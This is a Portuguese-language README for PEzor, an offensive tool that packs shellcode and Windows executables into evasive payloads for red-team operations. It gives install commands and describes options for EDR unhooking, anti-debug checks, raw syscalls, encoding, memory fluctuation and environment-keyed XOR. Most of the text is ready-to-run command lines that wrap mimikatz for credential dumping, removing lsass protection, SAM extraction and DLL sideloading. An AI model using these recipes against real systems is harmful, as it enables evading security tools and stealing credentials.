
Empacotar shellcode e executáveis PE em payloads evasivos com técnicas de anti-debug, unhooking, syscall e memory fluctuation para operações de red-team.
Leia as postagens do blog aqui:
________________
< PEzor!! v3.3.0 >
----------------
\ / \ //\
\ |\___/| / \// \\
/0 0 \__ / // | \ \
/ / \/_/ // | \ \
@_^_@'/ \/_ // | \ \
//_^_/ \/_ // | \ \
( //) | \/// | \ \
( / /) _|_ / ) // | \ _\
( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
(( / / )) ,-{ _ `-.|.-~-. .~ `.
(( // / )) '/\ / ~-. _ .-~ .-~^-. \
(( /// )) `. { } / \ \
(( / )) .----~-.\ \-' .~ \ `. \^-.
///.----..> \ _ -~ `. ^-` ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
/.-~
---------------------------------------------------------------------------
O install.sh foi projetado para funcionar em uma distribuição Kali Linux.
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h
A variável PATH precisa ser atualizada para usar um commit específico do Donut! Verifique o script install.sh atualizado.
PEzor helpexibe ajuda para PEzor
USAGE
$ PEzor help
PEzor <EXECUTABLE>Empacota o executável fornecido em um novo
OPTIONS
-h Exibe o uso e sai
-32 Força executável 32 bits
-64 Força executável 64 bits
-debug Gera uma build de depuração
-unhook Remoção de hooks do modo usuário
-antidebug Adiciona verificações anti-debug
-syscalls Usar syscalls brutos [apenas 64 bits] [apenas Windows 10]
-sgn Codificar o shellcode gerado com sgn
-text Armazenar shellcode na seção .text em vez de .data
-rx Alocar memória RX para shellcode
-self Executar o shellcode na mesma thread
-sdk=VERSION Usar versão especificada do .NET Framework (2, 4, 4.5 (padrão))
-cleanup Realizar a limpeza do payload alocado e módulos carregados (apenas para BOFs)
-sleep=N Dorme por N segundos antes de desempacotar o shellcode
-format=FORMAT Gera resultado no FORMATO especificado (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Flutuar região de memória para PROTEÇÃO (RW ou NA) interceptando Sleep()
-xorkey=KEY Criptografar payload com um XOR multibyte simples, recupera a chave em tempo de execução usando GetComputerNameExA(ComputerNameDnsFullyQualified)
[donut args...] Após o executável a ser empacotado, você pode passar argumentos adicionais do Donut, como -z 2
EXAMPLES
# 64 bits (auto-injeção RWX)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 bits (auto-injeção RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 bits (syscalls brutos)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
# 64 bits (flutuar para READWRITE ao dormir)
$ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 bits (flutuar para NOACCESS ao dormir)
$ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 bits (usar chave ambiental com GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
# 64 bits (suportar EXEs com recursos mantendo cabeçalhos PE na memória)
$ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
# 64 bits (arquivo objeto beacon)
$ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (arquivo objeto beacon c/ limpeza)
$ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dll)
$ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64 bits (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
# 64 bits (dll reflexiva)
$ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (service exe)
$ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (service dll)
$ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dotnet)
$ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 64 bits (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
# 32 bits (auto-injeção)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32 bits (API Win32: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
# 32 bits (API Win32: VirtualAlloc/WriteProcessMemory/CreateRemoteThread) e argumentos para donut
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"
PEzor <SHELLCODE>Empacota o shellcode fornecido em um executável
USAGE
$ PEzor <-32|-64> [options...] <SHELLCODE>
OPTIONS
-h Exibe o uso e sai
-32 Força executável 32 bits
-64 Força executável 64 bits
-debug Gera uma build de depuração
-unhook Remoção de hooks do modo usuário
-antidebug Adiciona verificações anti-debug
-shellcode Forçar detecção de shellcode
-syscalls Usar syscalls brutos [apenas 64 bits] [apenas Windows 10]
-sgn Codificar o shellcode fornecido com sgn
-text Armazenar shellcode na seção .text em vez de .data
-rx Alocar memória RX para shellcode
-self Executar o shellcode na mesma thread [requer shellcode RX, não compatível com -sgn]
-cleanup Realizar a limpeza do payload alocado e módulos carregados (apenas para BOFs)
-sleep=N Dorme por N segundos antes de desempacotar o shellcode
-format=FORMAT Gera resultado no FORMATO especificado (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
-fluctuate=PROTECTION Flutuar região de memória para PROTEÇÃO (RW ou NA) interceptando Sleep()
-xorkey=KEY Criptografar payload com um XOR multibyte simples, recupera a chave em tempo de execução usando GetComputerNameExA(ComputerNameDnsFullyQualified)
EXAMPLES
# 64 bits (auto-injeção RWX)
$ PEzor.sh shellcode.bin
# 64 bits (auto-injeção RX)
$ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
# 64 bits (auto-injeção)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 64 bits (syscalls brutos)
$ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
# 64 bits (flutuar para READWRITE ao dormir)
$ PEzor.sh -fluctuate=RW shellcode.bin
# 64 bits (flutuar para NOACCESS ao dormir)
$ PEzor.sh -fluctuate=NA shellcode.bin
# 64 bits (usar chave ambiental com GetComputerNameExA)
$ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
# 64 bits (arquivo objeto beacon)
$ PEzor.sh -format=bof shellcode.bin
# 64 bits (arquivo objeto beacon c/ limpeza)
$ PEzor.sh -format=bof -cleanup shellcode.bin
# 64 bits (dll)
$ PEzor.sh -format=dll shellcode.bin
# 64 bits (dll sideload)
$ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
# 64 bits (dll reflexiva)
$ PEzor.sh -format=reflective-dll shellcode.bin
# 64 bits (service exe)
$ PEzor.sh -format=service-exe shellcode.bin
# 64 bits (service dll)
$ PEzor.sh -format=service-dll shellcode.bin
# 64 bits (dotnet)
$ PEzor.sh -format=dotnet shellcode.bin
# 64 bits (dotnet-pinvoke)
$ PEzor.sh -format=dotnet-pinvoke shellcode.bin
# 64 bits (dotnet-createsection)
$ PEzor.sh -format=dotnet-createsection shellcode.bin
# 32 bits (auto-injeção)
$ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
# 32 bits (API Win32: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
$ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin
Veja o código: PEzor.sh